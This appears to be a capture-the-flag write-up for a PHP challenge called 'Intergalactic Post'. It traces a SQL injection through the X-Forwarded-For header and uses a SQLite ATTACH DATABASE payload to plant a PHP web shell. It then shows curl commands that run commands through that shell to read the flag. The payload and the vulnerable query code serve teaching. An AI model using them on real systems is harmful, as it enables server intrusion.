Intergalactic Post
4 minutes to read
We are given a PHP web application with a single functionality, that is to post an email address.
We can start by analyzing the source code. The file index.php
shows that there are only two endpoints (GET and POST):
<?php
spl_autoload_register(function ($name){
if (preg_match('/Controller$/', $name))
{
$name = "controllers/${name}";
}
else if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});
$database = new Database('/tmp/challenge.db');
$router = new Router();
$router->new('GET', '/', 'IndexController@index');
$router->new('POST', '/subscribe', 'SubsController@store');
die($router->match());
We can see that Database.php
is vulnerable to SQL injection:
<?php
class Database
{
private static $database = null;
public function __construct($file)
{
if (!file_exists($file))
{
file_put_contents($file, '');
}
$this->db = new SQLite3($file);
$this->migrate();
self::$database = $this;
}
public static function getDatabase(): Database
{
return self::$database;
}
public function migrate()
{
$this->db->query('
CREATE TABLE IF NOT EXISTS `subscribers` (
id INTEGER PRIMARY KEY AUTOINCREMENT,
ip_address VARCHAR(255) NOT NULL,
email VARCHAR(255) NOT NULL
);
');
}
public function subscribeUser($ip_address, $email)
{
return $this->db->exec("INSERT INTO subscribers (ip_address, email) VALUES('$ip_address', '$email')");
}
}
This is because it is using string interpolation in PHP, so the contents of variables $ip_address
and $email
is inserted in the SQL query without sanitization:
return $this->db->exec("INSERT INTO subscribers (ip_address, email) VALUES('$ip_address', '$email')");
This function subscribeUser
is called from models/SubscriberModel.php
:
<?php
class SubscriberModel extends Model
{
public function __construct()
{
parent::__construct();
}
public function getSubscriberIP()
{
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
return $_SERVER["HTTP_X_FORWARDED_FOR"];
} else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
return $_SERVER["REMOTE_ADDR"];
} else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
return $_SERVER["HTTP_CLIENT_IP"];
}
return '';
}
public function subscribe($email)
{
$ip_address = $this->getSubscriberIP();
return $this->database->subscribeUser($ip_address, $email);
}
}
Furthermore, the method subscribe
gets called from controllers/SubsController.php
:
<?php
class SubsController extends Controller
{
public function __construct()
{
parent::__construct();
}
public function store($router)
{
$email = $_POST['email'];
if (empty($email) || !filter_var($email, FILTER_VALIDATE_EMAIL)) {
header('Location: /?success=false&msg=Please submit a valild email address!');
exit;
}
$subscriber = new SubscriberModel;
$subscriber->subscribe($email);
header('Location: /?success=true&msg=Email subscribed successfully!');
exit;
}
public function logout($router)
{
session_destroy();
header('Location: /admin');
exit;
}
}
Here we see that $email
is being validated as a proper email address, so we won’t be able to exploit SQLi using $email
.
However, the variable $ip_address
comes from HTTP request headers, so we can use some of them to introduce our SQLi payload. Namely, we will use X-Forwarded-For
header:
public function getSubscriberIP()
{
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
return $_SERVER["HTTP_X_FORWARDED_FOR"];
}
// ...
}
Plus, we must take into account the type of database manager we are trying to exploit. We must exploit a SQLite database.
However, the exploit won’t be focused on extracting information from the database because there is no useful information stored there. Moreover, SQLite does not allow to read files from the server.
Taking a look at PayloadsAllTheThings, we can see that there is the possibility to gain Remote Code Execution in a PHP web application if using SQLite. This is the payload:
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
What it does is create a new database file with .php
extension and enter PHP code, so that we can retrieve the file from the web server and the PHP code gets executed.
Let’s start the Docker instance and try the exploit estrategy locally. We have this form to put an email address:
We can intercept the request with Burp Suite and send it to Repeater to modify the request parameters:
I modified the SQLi payload a bit, but it looks almost the same. Notice that the web server root folder is at /www
, so the new database file will be at /www/databasexx.php
:
Alright, if everything was OK, we should have RCE and thus get the flag using cat /flag*
(we know the flag has a random filename because it is configured in the Dockerfile
as such):
$ curl '127.0.0.1:1337/databasexx.php?cmd=cat%20/flag*' -o-
��@�AAAAAAAAAA HTB{f4k3_fl4g_f0r_t3st1ng}taz text)
AAAAAAAAA
$ curl '127.0.0.1:1337/databasexx.php?cmd=cat%20/flag*' -so- | strings | grep -oE 'HTB\{.*?\}'
HTB{f4k3_fl4g_f0r_t3st1ng}
Now, we need to spawn the remote instance and reproduce the attack. Finally, we get the flag:
$ curl '139.59.163.221:30572/databasexx.php?cmd=cat%20/flag*' -so- | strings | grep -oE 'HTB\{.*?\}'
HTB{inj3ct3d_th3_in3vit4bl3_tru7h}